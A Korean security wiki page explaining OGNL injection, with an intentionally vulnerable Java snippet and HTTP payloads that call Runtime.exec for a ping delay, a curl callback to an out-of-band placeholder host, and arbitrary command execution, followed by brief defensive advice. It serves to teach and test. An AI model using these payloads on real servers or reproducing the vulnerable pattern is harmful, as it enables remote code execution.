Introduction
OGNL Injection은 OGNL(Object-Graph Navigation Language)에서 코드를 주입하는 Injection 공격을 의미하며, OGNL 자체가 Expression Language의 성격을 띄기 때문에 SSTI 또는 EL Injection 과 유사합니다.
OGNL
OGNL(Object-Graph Navigation Language)은 Java Application에서 사용되는 Expression Language (EL) 중 하나로 Apache 쪽 소프트웨어와 Java 기반 웹 어플리케이션에서 많이 사용되는 Language입니다.
대표적으로 Apache Struts2, Confluence, Atlassian, Mybatis, Apache Roller 등에서 사용됩니다.
문법에 대한 자세한 내용은 공식 문서를 참고해주세요.
Offensive techniques
Detect
다른 EL Injection과 유사하게 OGNL Expression 구문을 서버로 넘겨 취약 여부를 체크할 수 있습니다. 일반적으로 sleep 등을 이용한 Time-based, Callback을 이용한 OAST-Based로 식별합니다.
취약/공격 코드
Vuln Code
OgnlContext ctx = new OgnlContext();
String expression = request.getParameter("input");
Object expr = Ognl.parseExpression(expression);
Object value = Ognl.getValue(expr, ctx, root);
System.out.println("Value: " + value);
Attack Code
GET /query?input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("ping -c 5 127.0.0.1")) HTTP/1.1
Host: localhost
Time-Based
POST /query
Host: localhost
input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("ping -c 5 127.0.0.1"))
ping이 5회 호출되기 때문에 약 5초의 딜레이가 발생합니다.
OAST-Based
POST /query
Host: localhost
input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("curl <OAST-SERVICE>"))
OAST-SERVICE로 DNS Query와 HTTP Request가 도착하는 것을 확인하여 체크할 수 있습니다.
Exploitation
OGNL은 Server-Side에서 Expression에 따라 Java 클래스의 메소드를 실행할 수 있기 떄문에 보통 RCE로 이어집니다. 위에서 작성했던 예시와 같이 @java.lang.Runtime 등을 이용하여 명령을 실행할 수 있습니다.
(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("COMMANDS"))
또한 OGNL 처리가 Java SDK를 통해 Client 기반 Application에서 이루어진다면, Client를 대상으로 한 Code Execution이 발생할 수 있습니다.
Defensive techniques
기본적으로 사용자가 전달한 데이터를 신뢰하지 않는 것을 원칙으로 합니다. 가급적이면 내부에서 값을 처리해야하며 필요 시 사용자 입력값에 대해 정확하게 검증 후 사용되어야 합니다. 추가로 Structs2, Confluence 등 프레임워크나 외부 서비스단에서 발생한 이슈는 해당 벤더에서 패치가 필요하며 가급적이면 빠르게 적용하는 것이 좋습니다.
Articles
- https://www.hahwul.com/2016/04/28/web-hacking-apache-struts2-recremote/
- https://www.hahwul.com/2017/03/08/web-hacking-apache-struts2-remote-code/
- https://www.hahwul.com/cullinan/ssti/
- https://www.hahwul.com/cullinan/el-injection/
References
- https://commons.apache.org/proper/commons-ognl/
- https://commons.apache.org/proper/commons-ognl/language-guide.html
- https://securitylab.github.com/research/ognl-injection-apache-struts/